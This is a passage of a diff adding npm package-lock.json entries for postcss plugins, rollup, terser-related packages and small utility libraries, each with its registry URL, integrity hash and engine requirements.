+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "nanoid": "^3.3.6",
+ "picocolors": "^1.0.0",
+ "source-map-js": "^1.0.2"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/postcss-calc": {
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-9.0.1.tgz",
+ "integrity": "sha512-TipgjGyzP5QzEhsOZUaIkeO5mKeMFpebWzRogWG/ysonUlnHcq5aJe0jOjpfzUU8PeSaBQnrE8ehR0QA5vs8PQ==",
+ "dev": true,
+ "dependencies": {
+ "postcss-selector-parser": "^6.0.11",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.2"
+ }
+ },
+ "node_modules/postcss-cli": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz",
+ "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==",
+ "dev": true,
+ "dependencies": {
+ "chokidar": "^3.3.0",
+ "dependency-graph": "^0.11.0",
+ "fs-extra": "^11.0.0",
+ "get-stdin": "^9.0.0",
+ "globby": "^13.0.0",
+ "picocolors": "^1.0.0",
+ "postcss-load-config": "^4.0.0",
+ "postcss-reporter": "^7.0.0",
+ "pretty-hrtime": "^1.0.3",
+ "read-cache": "^1.0.0",
+ "slash": "^5.0.0",
+ "yargs": "^17.0.0"
+ },
+ "bin": {
+ "postcss": "index.js"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-colormin": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-6.0.0.tgz",
+ "integrity": "sha512-EuO+bAUmutWoZYgHn2T1dG1pPqHU6L4TjzPlu4t1wZGXQ/fxV16xg2EJmYi0z+6r+MGV1yvpx1BHkUaRrPa2bw==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "caniuse-api": "^3.0.0",
+ "colord": "^2.9.1",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-convert-values": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-6.0.0.tgz",
+ "integrity": "sha512-U5D8QhVwqT++ecmy8rnTb+RL9n/B806UVaS3m60lqle4YDFcpbS3ae5bTQIh3wOGUSDHSEtMYLs/38dNG7EYFw==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-discard-comments": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-6.0.0.tgz",
+ "integrity": "sha512-p2skSGqzPMZkEQvJsgnkBhCn8gI7NzRH2683EEjrIkoMiwRELx68yoUJ3q3DGSGuQ8Ug9Gsn+OuDr46yfO+eFw==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-discard-duplicates": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-6.0.0.tgz",
+ "integrity": "sha512-bU1SXIizMLtDW4oSsi5C/xHKbhLlhek/0/yCnoMQany9k3nPBq+Ctsv/9oMmyqbR96HYHxZcHyK2HR5P/mqoGA==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-discard-empty": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-6.0.0.tgz",
+ "integrity": "sha512-b+h1S1VT6dNhpcg+LpyiUrdnEZfICF0my7HAKgJixJLW7BnNmpRH34+uw/etf5AhOlIhIAuXApSzzDzMI9K/gQ==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-discard-overridden": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-6.0.0.tgz",
+ "integrity": "sha512-4VELwssYXDFigPYAZ8vL4yX4mUepF/oCBeeIT4OXsJPYOtvJumyz9WflmJWTfDwCUcpDR+z0zvCWBXgTx35SVw==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-import": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
+ "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.0.0",
+ "read-cache": "^1.0.0",
+ "resolve": "^1.1.7"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-load-config": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz",
+ "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==",
+ "dev": true,
+ "dependencies": {
+ "lilconfig": "^2.0.5",
+ "yaml": "^2.1.1"
+ },
+ "engines": {
+ "node": ">= 14"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": ">=8.0.9",
+ "ts-node": ">=9.0.0"
+ },
+ "peerDependenciesMeta": {
+ "postcss": {
+ "optional": true
+ },
+ "ts-node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/postcss-merge-longhand": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-6.0.0.tgz",
+ "integrity": "sha512-4VSfd1lvGkLTLYcxFuISDtWUfFS4zXe0FpF149AyziftPFQIWxjvFSKhA4MIxMe4XM3yTDgQMbSNgzIVxChbIg==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0",
+ "stylehacks": "^6.0.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-merge-rules": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-6.0.1.tgz",
+ "integrity": "sha512-a4tlmJIQo9SCjcfiCcCMg/ZCEe0XTkl/xK0XHBs955GWg9xDX3NwP9pwZ78QUOWB8/0XCjZeJn98Dae0zg6AAw==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "caniuse-api": "^3.0.0",
+ "cssnano-utils": "^4.0.0",
+ "postcss-selector-parser": "^6.0.5"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-minify-font-values": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-6.0.0.tgz",
+ "integrity": "sha512-zNRAVtyh5E8ndZEYXA4WS8ZYsAp798HiIQ1V2UF/C/munLp2r1UGHwf1+6JFu7hdEhJFN+W1WJQKBrtjhFgEnA==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-minify-gradients": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-6.0.0.tgz",
+ "integrity": "sha512-wO0F6YfVAR+K1xVxF53ueZJza3L+R3E6cp0VwuXJQejnNUH0DjcAFe3JEBeTY1dLwGa0NlDWueCA1VlEfiKgAA==",
+ "dev": true,
+ "dependencies": {
+ "colord": "^2.9.1",
+ "cssnano-utils": "^4.0.0",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-minify-params": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-6.0.0.tgz",
+ "integrity": "sha512-Fz/wMQDveiS0n5JPcvsMeyNXOIMrwF88n7196puSuQSWSa+/Ofc1gDOSY2xi8+A4PqB5dlYCKk/WfqKqsI+ReQ==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "cssnano-utils": "^4.0.0",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-minify-selectors": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-6.0.0.tgz",
+ "integrity": "sha512-ec/q9JNCOC2CRDNnypipGfOhbYPuUkewGwLnbv6omue/PSASbHSU7s6uSQ0tcFRVv731oMIx8k0SP4ZX6be/0g==",
+ "dev": true,
+ "dependencies": {
+ "postcss-selector-parser": "^6.0.5"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-charset": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-6.0.0.tgz",
+ "integrity": "sha512-cqundwChbu8yO/gSWkuFDmKrCZ2vJzDAocheT2JTd0sFNA4HMGoKMfbk2B+J0OmO0t5GUkiAkSM5yF2rSLUjgQ==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-display-values": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-6.0.0.tgz",
+ "integrity": "sha512-Qyt5kMrvy7dJRO3OjF7zkotGfuYALETZE+4lk66sziWSPzlBEt7FrUshV6VLECkI4EN8Z863O6Nci4NXQGNzYw==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-positions": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-6.0.0.tgz",
+ "integrity": "sha512-mPCzhSV8+30FZyWhxi6UoVRYd3ZBJgTRly4hOkaSifo0H+pjDYcii/aVT4YE6QpOil15a5uiv6ftnY3rm0igPg==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-repeat-style": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-6.0.0.tgz",
+ "integrity": "sha512-50W5JWEBiOOAez2AKBh4kRFm2uhrT3O1Uwdxz7k24aKtbD83vqmcVG7zoIwo6xI2FZ/HDlbrCopXhLeTpQib1A==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-string": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-6.0.0.tgz",
+ "integrity": "sha512-KWkIB7TrPOiqb8ZZz6homet2KWKJwIlysF5ICPZrXAylGe2hzX/HSf4NTX2rRPJMAtlRsj/yfkrWGavFuB+c0w==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-timing-functions": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-6.0.0.tgz",
+ "integrity": "sha512-tpIXWciXBp5CiFs8sem90IWlw76FV4oi6QEWfQwyeREVwUy39VSeSqjAT7X0Qw650yAimYW5gkl2Gd871N5SQg==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-unicode": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-6.0.0.tgz",
+ "integrity": "sha512-ui5crYkb5ubEUDugDc786L/Me+DXp2dLg3fVJbqyAl0VPkAeALyAijF2zOsnZyaS1HyfPuMH0DwyY18VMFVNkg==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-url": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-6.0.0.tgz",
+ "integrity": "sha512-98mvh2QzIPbb02YDIrYvAg4OUzGH7s1ZgHlD3fIdTHLgPLRpv1ZTKJDnSAKr4Rt21ZQFzwhGMXxpXlfrUBKFHw==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-normalize-whitespace": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-6.0.0.tgz",
+ "integrity": "sha512-7cfE1AyLiK0+ZBG6FmLziJzqQCpTQY+8XjMhMAz8WSBSCsCNNUKujgIgjCAmDT3cJ+3zjTXFkoD15ZPsckArVw==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-ordered-values": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-6.0.0.tgz",
+ "integrity": "sha512-K36XzUDpvfG/nWkjs6d1hRBydeIxGpKS2+n+ywlKPzx1nMYDYpoGbcjhj5AwVYJK1qV2/SDoDEnHzlPD6s3nMg==",
+ "dev": true,
+ "dependencies": {
+ "cssnano-utils": "^4.0.0",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-reduce-initial": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-6.0.0.tgz",
+ "integrity": "sha512-s2UOnidpVuXu6JiiI5U+fV2jamAw5YNA9Fdi/GRK0zLDLCfXmSGqQtzpUPtfN66RtCbb9fFHoyZdQaxOB3WxVA==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "caniuse-api": "^3.0.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-reduce-transforms": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-6.0.0.tgz",
+ "integrity": "sha512-FQ9f6xM1homnuy1wLe9lP1wujzxnwt1EwiigtWwuyf8FsqqXUDUp2Ulxf9A5yjlUOTdCJO6lonYjg1mgqIIi2w==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-reporter": {
+ "version": "7.0.5",
+ "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz",
+ "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==",
+ "dev": true,
+ "dependencies": {
+ "picocolors": "^1.0.0",
+ "thenby": "^1.3.4"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.1.0"
+ }
+ },
+ "node_modules/postcss-selector-parser": {
+ "version": "6.0.13",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz",
+ "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==",
+ "dev": true,
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-svgo": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-6.0.0.tgz",
+ "integrity": "sha512-r9zvj/wGAoAIodn84dR/kFqwhINp5YsJkLoujybWG59grR/IHx+uQ2Zo+IcOwM0jskfYX3R0mo+1Kip1VSNcvw==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.2.0",
+ "svgo": "^3.0.2"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >= 18"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-unique-selectors": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-6.0.0.tgz",
+ "integrity": "sha512-EPQzpZNxOxP7777t73RQpZE5e9TrnCrkvp7AH7a0l89JmZiPnS82y216JowHXwpBCQitfyxrof9TK3rYbi7/Yw==",
+ "dev": true,
+ "dependencies": {
+ "postcss-selector-parser": "^6.0.5"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/postcss-value-parser": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
+ "dev": true
+ },
+ "node_modules/pretty-hrtime": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
+ "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/randombytes": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+ "dev": true,
+ "dependencies": {
+ "safe-buffer": "^5.1.0"
+ }
+ },
+ "node_modules/read-cache": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+ "dev": true,
+ "dependencies": {
+ "pify": "^2.3.0"
+ }
+ },
+ "node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/require-directory": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/resolve": {
+ "version": "1.22.6",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.6.tgz",
+ "integrity": "sha512-njhxM7mV12JfufShqGy3Rz8j11RPdLy4xi15UurGJeoHLfJpVXKdh3ueuOqbYUcDZnffr6X739JBo5LzyahEsw==",
+ "dev": true,
+ "dependencies": {
+ "is-core-module": "^2.13.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ },
+ "bin": {
+ "resolve": "bin/resolve"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/reusify": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "dev": true,
+ "engines": {
+ "iojs": ">=1.0.0",
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/rollup": {
+ "version": "3.29.2",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-3.29.2.tgz",
+ "integrity": "sha512-CJouHoZ27v6siztc21eEQGo0kIcE5D1gVPA571ez0mMYb25LGYGKnVNXpEj5MGlepmDWGXNjDB5q7uNiPHC11A==",
+ "dev": true,
+ "bin": {
+ "rollup": "dist/bin/rollup"
+ },
+ "engines": {
+ "node": ">=14.18.0",
+ "npm": ">=8.0.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/rollup-plugin-terser": {
+ "version": "7.0.2",
+ "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
+ "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
+ "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser",
+ "dev": true,
+ "dependencies": {
+ "@babel/code-frame": "^7.10.4",
+ "jest-worker": "^26.2.1",
+ "serialize-javascript": "^4.0.0",
+ "terser": "^5.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^2.0.0"
+ }
+ },
+ "node_modules/run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "dependencies": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "node_modules/safe-buffer": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/serialize-javascript": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+ "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+ "dev": true,
+ "dependencies": {
+ "randombytes": "^2.1.0"
+ }
+ },
+ "node_modules/slash": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz",
+ "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==",
+ "dev": true,
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+ "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/source-map-support": {
+ "version": "0.5.21",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+ "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+ "dev": true,
+ "dependencies": {
+ "buffer-from": "^1.0.0",
+ "source-map": "^0.6.0"
+ }
+ },
+ "node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dev": true,
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
